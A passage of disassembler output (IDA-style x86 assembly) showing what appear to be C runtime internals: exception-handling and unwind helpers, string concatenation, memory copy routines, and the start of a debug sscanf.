mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_418D10 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418D50 proc near ; CODE XREF: sub_423450+50p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_418D50 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418D60 proc near ; CODE XREF: sub_4231D0+247p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_418D60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418D70 proc near ; CODE XREF: sub_4231D0+21Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_418D70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D80 proc near ; CODE XREF: sub_418FD0+66p
; sub_422F70+38p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_418DAC
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_433974 ; RtlUnwind
loc_418DAC: ; DATA XREF: sub_418D80+12o
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
and ecx, 0FFFFFFFDh
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_418D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DE0 proc near ; CODE XREF: .data:00433EE5j
; .data:00433F10j ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_8], eax
push 0
push 0
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4228D0
add esp, 20h
mov [ebp+var_4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
push 0
mov ecx, [ebp+8]
mov edx, [ecx+18h]
push edx
call sub_422E40
add esp, 10h
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E50 proc near ; CODE XREF: sub_423030+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_14], 0
mov [ebp+var_10], offset sub_418EC0
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_C]
add edx, 1
mov [ebp+var_4], edx
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_423530
mov [ebp+var_18], eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EC0 proc near ; DATA XREF: sub_418E50+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
push 0
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4228D0
add esp, 20h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418EC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F00 proc near ; CODE XREF: sub_422C60+2Dp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
mov [ebp+var_28], 0
mov [ebp+var_24], offset sub_418FD0
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_18], edx
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
mov [ebp+var_10], offset loc_418F9C
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov ecx, [ebp+arg_0]
mov [ebp+var_30], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_2C], edx
lea eax, [ebp+var_30]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_421920
call dword ptr [eax+68h]
add esp, 8
mov [ebp+var_34], 0
loc_418F9C: ; DATA XREF: sub_418F00+4Bo
cmp [ebp+var_4], 0
jz short loc_418FB9
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_418FC2
; ---------------------------------------------------------------------------
loc_418FB9: ; CODE XREF: sub_418F00+A0j
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_418FC2: ; CODE XREF: sub_418F00+B7j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418F00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FD0 proc near ; DATA XREF: sub_418F00+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 66h
test ecx, ecx
jz short loc_418FF5
mov edx, [ebp+arg_4]
mov dword ptr [edx+24h], 1
mov eax, 1
jmp short loc_41904C
; ---------------------------------------------------------------------------
loc_418FF5: ; CODE XREF: sub_418FD0+12j
push 1
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
push edx
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4228D0
add esp, 20h
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+24h], 0
jnz short loc_41903B
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_418D80
loc_41903B: ; CODE XREF: sub_418FD0+5Cj
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
mov eax, 1
loc_41904C: ; CODE XREF: sub_418FD0+23j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418FD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419060 proc near ; CODE XREF: sub_4229C0+135p
; sub_422C60+52p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, [eax+10h]
mov esi, [eax+0Ch]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
test ecx, ecx
mov edi, esi
mov ebx, esi
jl short loc_4190B9
loc_41907E: ; CODE XREF: sub_419060+54j
cmp esi, 0FFFFFFFFh
jnz short loc_419088
call sub_423630
loc_419088: ; CODE XREF: sub_419060+21j
mov eax, [ebp+var_4]
dec esi
mov ecx, [ebp+arg_8]
lea edx, [esi+esi*4]
lea eax, [eax+edx*4]
cmp ecx, [eax+4]
jle short loc_41909F
cmp ecx, [eax+8]
jle short loc_4190A4
loc_41909F: ; CODE XREF: sub_419060+38j
cmp esi, 0FFFFFFFFh
jnz short loc_4190AF
loc_4190A4: ; CODE XREF: sub_419060+3Dj
mov eax, [ebp+arg_4]
mov edi, ebx
dec eax
mov ebx, esi
mov [ebp+arg_4], eax
loc_4190AF: ; CODE XREF: sub_419060+42j
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_41907E
mov eax, [ebp+arg_0]
loc_4190B9: ; CODE XREF: sub_419060+1Cj
mov ecx, [ebp+arg_C]
mov edx, [ebp+arg_10]
inc esi
mov [ecx], esi
mov [edx], edi
cmp edi, [eax+0Ch]
ja short loc_4190CD
cmp esi, edi
jbe short loc_4190D2
loc_4190CD: ; CODE XREF: sub_419060+67j
call sub_423630
loc_4190D2: ; CODE XREF: sub_419060+6Bj
mov ecx, [ebp+var_4]
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ecx+eax*4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_419060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190F0 proc near ; CODE XREF: sub_41BD64+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_419108
push [ebp+arg_0]
call sub_433974 ; RtlUnwind
loc_419108: ; DATA XREF: sub_4190F0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4190F0 endp
; =============== S U B R O U T I N E =======================================
sub_419110 proc near ; DATA XREF: sub_419132+Ao
; sub_41919A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_419131
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_419131: ; CODE XREF: sub_419110+10j
retn
sub_419110 endp
; =============== S U B R O U T I N E =======================================
sub_419132 proc near ; CODE XREF: sub_41BD64+67p
; sub_41BD64+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_419110
push large dword ptr fs:0
mov large fs:0, esp
loc_41914F: ; CODE XREF: sub_419132:loc_41918Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41918C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41918C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41918A
push 101h
mov eax, [ebx+esi*4+8]
call sub_4191C6
call dword ptr [ebx+esi*4+8]
loc_41918A: ; CODE XREF: sub_419132+44j
jmp short loc_41914F
; ---------------------------------------------------------------------------
loc_41918C: ; CODE XREF: sub_419132+2Aj
; sub_419132+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_419132 endp
; =============== S U B R O U T I N E =======================================
sub_41919A proc near ; CODE XREF: sub_42310D+4Bp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_419110
jnz short locret_4191BC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_4191BC
mov eax, 1
locret_4191BC: ; CODE XREF: sub_41919A+10j
; sub_41919A+1Bj
retn
sub_41919A endp
; =============== S U B R O U T I N E =======================================
sub_4191BD proc near ; CODE XREF: sub_423530+1Ep
; sub_423530+40p
push ebx
push ecx
mov ebx, offset dword_444EA0
jmp short loc_4191D0
sub_4191BD endp
; =============== S U B R O U T I N E =======================================
sub_4191C6 proc near ; CODE XREF: sub_419132+4Fp
; sub_41BD64+78p
push ebx
push ecx
mov ebx, offset dword_444EA0
mov ecx, [ebp+8]
loc_4191D0: ; CODE XREF: sub_4191BD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_4191C6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4191E0 proc near ; CODE XREF: .data:0040898Bp
; sub_40B7B6+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4191E0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419200 proc near ; CODE XREF: sub_4092B9+8Dp
; sub_409B9F+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_4192B4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41922A
loc_41921B: ; CODE XREF: sub_419200+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41925B
test edi, 3
jnz short loc_41921B
loc_41922A: ; CODE XREF: sub_419200+19j
; sub_419200+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41922A
mov eax, [edi-4]
test al, al
jz short loc_419268
test ah, ah
jz short loc_419263
test eax, 0FF0000h
jz short loc_41925E
test eax, 0FF000000h
jnz short loc_41922A
loc_41925B: ; CODE XREF: sub_419200+20j
dec edi
jmp short loc_41926B
; ---------------------------------------------------------------------------
loc_41925E: ; CODE XREF: sub_419200+52j
sub edi, 2
jmp short loc_41926B
; ---------------------------------------------------------------------------
loc_419263: ; CODE XREF: sub_419200+4Bj
sub edi, 3
jmp short loc_41926B
; ---------------------------------------------------------------------------
loc_419268: ; CODE XREF: sub_419200+47j
sub edi, 4
loc_41926B: ; CODE XREF: sub_419200+5Cj
; sub_419200+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_419280
mov ebx, ecx
shr ecx, 2
jnz short loc_4192CC
jmp short loc_41929C
; ---------------------------------------------------------------------------
loc_419280: ; CODE XREF: sub_419200+75j
; sub_419200+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_4192BA
mov [edi], dl
inc edi
dec ecx
jz short loc_4192B0
test esi, 3
jnz short loc_419280
mov ebx, ecx
shr ecx, 2
jnz short loc_4192CC
loc_41929C: ; CODE XREF: sub_419200+7Ej
; sub_419200+CAj
mov ecx, ebx
and ecx, 3
jz short loc_4192B0
loc_4192A3: ; CODE XREF: sub_419200+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_4192B2
dec ecx
jnz short loc_4192A3
loc_4192B0: ; CODE XREF: sub_419200+8Bj
; sub_419200+A1j
mov [edi], cl
loc_4192B2: ; CODE XREF: sub_419200+ABj
pop ebx
pop esi
loc_4192B4: ; CODE XREF: sub_419200+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4192BA: ; CODE XREF: sub_419200+85j
; sub_419200+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4192C4: ; CODE XREF: sub_419200+E4j
; sub_419200+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41929C
loc_4192CC: ; CODE XREF: sub_419200+7Cj
; sub_419200+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_4192C4
test dl, dl
jz short loc_4192BA
test dh, dh
jz short loc_419318
test edx, 0FF0000h
jz short loc_419308
test edx, 0FF000000h
jnz short loc_4192C4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_419308: ; CODE XREF: sub_419200+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_419318: ; CODE XREF: sub_419200+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_419200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419330 proc near ; CODE XREF: sub_4093EB+62p
; sub_4093EB+6Fp ...
var_6AB7FFC0 = byte ptr -6AB7FFC0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_419350
cmp edi, eax
jb loc_4194C8
loc_419350: ; CODE XREF: sub_419330+16j
test edi, 3
jnz short loc_41936C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41938C
rep movsd
jmp off_419478[edx*4]
; ---------------------------------------------------------------------------
loc_41936C: ; CODE XREF: sub_419330+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_419384
and eax, 3
add ecx, eax
jmp dword ptr loc_41938C+4[eax*4]
; ---------------------------------------------------------------------------
loc_419384: ; CODE XREF: sub_419330+46j
jmp dword ptr loc_419488[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41938C: ; CODE XREF: sub_419330+31j
; sub_419330+8Ej ...
jmp off_41940C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4193A0
dd offset loc_4193CC
dd offset loc_4193F0
; ---------------------------------------------------------------------------
loc_4193A0: ; DATA XREF: sub_419330+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41938C
rep movsd
jmp off_419478[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_4193CC: ; DATA XREF: sub_419330+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41938C
rep movsd
jmp off_419478[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4193F0: ; DATA XREF: sub_419330+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41938C
rep movsd
jmp off_419478[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41940C dd offset loc_41946F ; DATA XREF: sub_419330:loc_41938Cr
dd offset loc_41945C
dd offset loc_419454
dd offset loc_41944C
dd offset loc_419444
dd offset loc_41943C
dd offset loc_419434
dd offset loc_41942C
; ---------------------------------------------------------------------------
loc_41942C: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_419434: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41943C: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_419444: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41944C: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_419454: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41945C: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41946F: ; CODE XREF: sub_419330:loc_41938Cj
; DATA XREF: sub_419330:off_41940Co
jmp off_419478[edx*4]
; ---------------------------------------------------------------------------
align 4
off_419478 dd offset loc_419488 ; DATA XREF: sub_419330+35r
; sub_419330+92r ...
dd offset loc_419490
dd offset loc_41949C
dd offset loc_4194B0
; ---------------------------------------------------------------------------
loc_419488: ; CODE XREF: sub_419330+35j
; sub_419330+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_419490: ; CODE XREF: sub_419330+35j
; sub_419330+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41949C: ; CODE XREF: sub_419330+35j
; sub_419330+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4194B0: ; CODE XREF: sub_419330+35j
; sub_419330+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4194C8: ; CODE XREF: sub_419330+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_4194FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4194F0
std
rep movsd
cld
jmp off_419610[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_4194F0: ; CODE XREF: sub_419330+1B1j
; sub_419330+208j ...
neg ecx
jmp off_4195C0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4194FC: ; CODE XREF: sub_419330+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_419514
and eax, 3
sub ecx, eax
jmp dword ptr loc_419514+4[eax*4]
; ---------------------------------------------------------------------------
loc_419514: ; CODE XREF: sub_419330+1D6j
; DATA XREF: sub_419330+1DDr
jmp off_419610[ecx*4]
; ---------------------------------------------------------------------------
align 4
sub [ebp-6AB7FFBFh], dl
inc ecx
add [eax-6Bh], dh
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_4194F0
std
rep movsd
cld
jmp off_419610[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_4194F0
std
rep movsd
cld
jmp off_419610[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_4194F0
std
rep movsd
cld
jmp off_419610[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4195C4
dd offset loc_4195CC
dd offset loc_4195D4
dd offset loc_4195DC
dd offset loc_4195E4
dd offset loc_4195EC
dd offset loc_4195F4
off_4195C0 dd offset loc_419607 ; DATA XREF: sub_419330+1C2r
; ---------------------------------------------------------------------------
loc_4195C4: ; DATA XREF: sub_419330+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_4195CC: ; DATA XREF: sub_419330+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_4195D4: ; DATA XREF: sub_419330+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_4195DC: ; DATA XREF: sub_419330+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_4195E4: ; DATA XREF: sub_419330+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_4195EC: ; DATA XREF: sub_419330+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_4195F4: ; DATA XREF: sub_419330+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_419607: ; CODE XREF: sub_419330+1C2j
; DATA XREF: sub_419330:off_4195C0o
jmp off_419610[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_419610 dd offset loc_419620 ; DATA XREF: sub_419330+1B7r
; sub_419330:loc_419514r ...
dd offset loc_419628
dd offset loc_419638
dd offset loc_41964C
; ---------------------------------------------------------------------------
loc_419620: ; CODE XREF: sub_419330+1B7j
; sub_419330:loc_419514j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419628: ; CODE XREF: sub_419330+1B7j
; sub_419330:loc_419514j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419638: ; CODE XREF: sub_419330+1B7j
; sub_419330:loc_419514j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41964C: ; CODE XREF: sub_419330+1B7j
; sub_419330:loc_419514j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_419330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419670 proc near ; CODE XREF: sub_40A547+40p
; sub_40D0F7+23Dp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_419685: ; CODE XREF: sub_419670+3Dj
cmp [ebp+arg_0], 0
jnz short loc_4196A9
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4196A9
int 3 ; Trap to Debugger
loc_4196A9: ; CODE XREF: sub_419670+19j
; sub_419670+36j
xor edx, edx
test edx, edx
jnz short loc_419685
loc_4196AF: ; CODE XREF: sub_419670+67j
cmp [ebp+arg_4], 0
jnz short loc_4196D3
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4196D3
int 3 ; Trap to Debugger
loc_4196D3: ; CODE XREF: sub_419670+43j
; sub_419670+60j
xor eax, eax
test eax, eax
jnz short loc_4196AF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
